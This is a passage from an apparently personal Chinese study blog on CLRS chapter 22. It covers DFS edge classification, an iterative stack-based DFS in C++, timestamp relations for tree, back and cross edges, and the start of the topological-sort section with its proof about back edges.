encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 后发现边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 反向无法连通，所以回溯到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，之后又遍历了一条 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>→</mo><mi>y</mi><mo>→</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">u \rightarrow y \rightarrow v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的边，发现 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 已经是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代了，又回溯到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mo>→</mo><mi>v</mi></mrow><annotation encoding="application/x-tex">u \rightarrow v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 就成了前向边。</p><p>然而无向图不存在方向，也就是在第一次发现 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 之后，第二条路径 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> &lt;-&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>y</mi></mrow><annotation encoding="application/x-tex">y</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span> &lt;-&gt; <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是通的，所以会一直形成树边直到回到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，不存在前向边，只会后代节点连接祖先节点形成后向边。</p><p>交叉边也来自于有向图的单向性质。若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 是交叉边，那么 DFS 先访问了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>，之后又访问了 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，而 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 有指向已被访问的节点 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的边。倘若 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 之间的边是无向边，那么显然在访问 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的时候就会访问 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 之间的边不可能是交叉边。</p><blockquote><p>依旧归于贪心。</p></blockquote><p>22.3-4 和 BFS 一样提示不需要区分黑色、灰色和白色三种状态，直接用一个布尔值 <code>visited</code> 来表示是否访问过即可。</p><blockquote><p>中文版又错了，写错了行数，删第 8 行写成了删第 2 行…前面也有不少错误。比如无权图写成无向图。</p></blockquote><p>22.3-7 提示 DFS 可以用栈来实现，消除递归。显然只要将父节点入栈，回溯时出栈即可。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stack&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;unordered_map&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;vector&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">dfs</span><span class="params">(UndirectedMatrixGraph &amp;graph)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="type">int</span> global_time = <span class="number">0</span>;</span><br><span class="line">    std::stack&lt;<span class="type">int</span>&gt; st;</span><br><span class="line">    std::unordered_map&lt;<span class="type">int</span>, <span class="type">size_t</span>&gt; neighbor_idx;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="type">int</span> vertex_id : graph.<span class="built_in">getAllVertex</span>())</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">if</span> (graph.<span class="built_in">getVertex</span>(vertex_id).color == <span class="string">&#x27;W&#x27;</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            st.<span class="built_in">push</span>(vertex_id);</span><br><span class="line">            graph.<span class="built_in">setColor</span>(vertex_id, <span class="string">&#x27;G&#x27;</span>);</span><br><span class="line">            graph.<span class="built_in">setStartTime</span>(vertex_id, ++global_time);</span><br><span class="line">            neighbor_idx[vertex_id] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">            <span class="keyword">while</span> (!st.<span class="built_in">empty</span>())</span><br><span class="line">            &#123;</span><br><span class="line">                <span class="type">int</span> u = st.<span class="built_in">top</span>();</span><br><span class="line">                <span class="keyword">auto</span> neighbors = graph.<span class="built_in">getNeighbors</span>(u);</span><br><span class="line">                <span class="type">bool</span> pushed_new = <span class="literal">false</span>;</span><br><span class="line"></span><br><span class="line">                <span class="comment">// 从上次访问的位置继续遍历未访问邻居</span></span><br><span class="line">                <span class="keyword">for</span> (<span class="type">size_t</span> i = neighbor_idx[u]; i &lt; neighbors.<span class="built_in">size</span>(); ++i)</span><br><span class="line">                &#123;</span><br><span class="line">                    <span class="type">int</span> neighbor = neighbors[i];</span><br><span class="line">                    <span class="keyword">if</span> (graph.<span class="built_in">getVertex</span>(neighbor).color == <span class="string">&#x27;W&#x27;</span>)</span><br><span class="line">                    &#123;</span><br><span class="line">                        neighbor_idx[u] = i + <span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">                        st.<span class="built_in">push</span>(neighbor);</span><br><span class="line">                        graph.<span class="built_in">setColor</span>(neighbor, <span class="string">&#x27;G&#x27;</span>);</span><br><span class="line">                        graph.<span class="built_in">setStartTime</span>(neighbor, ++global_time);</span><br><span class="line">                        neighbor_idx[neighbor] = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">                        pushed_new = <span class="literal">true</span>;</span><br><span class="line">                        <span class="keyword">break</span>;</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;</span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> (!pushed_new)</span><br><span class="line">                &#123;</span><br><span class="line">                    graph.<span class="built_in">setColor</span>(u, <span class="string">&#x27;B&#x27;</span>);</span><br><span class="line">                    graph.<span class="built_in">setFinishTime</span>(u, ++global_time);</span><br><span class="line">                    st.<span class="built_in">pop</span>();</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><blockquote><p>每次循环都获取栈顶顶点的邻居列表，如果没有新邻居（<code>pushed_new == 0</code>）入栈了，说明当前节点的所有邻居都访问过了，则出栈，否则将新邻居入栈，并记录这是第几个邻居。</p></blockquote><p>22.3-5 中有以下边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 和时间戳的关系：</p><ul><li>树边或前向边：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>≤</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>≤</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">u.s \le v.s \le v.f \le u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span> （<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的后代）</li><li>后向边：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>≤</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">v.s \le u.s \le u.f \le v.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span> （<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的后代）</li><li>交叉边：<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>≤</mo><mi>v</mi><mi mathvariant="normal">.</mi><mi>f</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>s</mi><mo>≤</mo><mi>u</mi><mi mathvariant="normal">.</mi><mi>f</mi></mrow><annotation encoding="application/x-tex">v.s \le v.f \le u.s \le u.f</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal">s</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">u</span><span class="mord">.</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span></span></span></span> （<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 已经被访问过了）</li></ul><h2 id="topological-sort"><a class="markdownIt-Anchor" href="#topological-sort"></a> Topological Sort</h2><p>拓扑排序指的是将所有节点线性排序，使得对任意边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">(u,v) \in E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.05764em;">E</span></span></span></span>，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 在排序中排在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 之前。</p><p>观察可得必须是有向无环图，如果是有环图显然会冲突。</p><p>按照图中观察也可以猜出是先 DFS 然后按照 <code>finish time</code> 的逆序来排序的。</p><p><img src="/images/CLRS/topological_sort_example.png" alt="Topological Sort" /></p><p>通过以下两个证明来得出 DFS 的 <code>finish time</code> 的逆序就是拓扑排序：</p><ol><li><p>有向图是无环的当且仅当没有后向边。</p><blockquote><p>以下证明的都是逆否命题：有环当且仅当有后向边</p></blockquote><p>假设有后向边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span>，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的祖先，其路径与边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 形成一个环。</p><p>假设有环，假设其第一个被发现的节点为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span>，则有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(u, v)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span></span></span></span> 和环上剩下的节点构成的一条从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 的白色路径，则 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>u</mi></mrow><annotation encoding="application/x-tex">u</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">u</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi></mrow><annotation encoding="application/x-tex">v</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span></span></span></span> 的后代。而后代指向祖先的边就是后向边。</p></li><li><p>有向无环图中，对于任意边 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>u</mi><mo separator="true">,</mo><mi>v</mi><mo stretchy="false">)</mo><mo>∈</mo><mi>E</mi></mrow><annotation encoding="application/x-tex">(u,v) \in E</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">u</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mclose">)</span><span class="mspace" 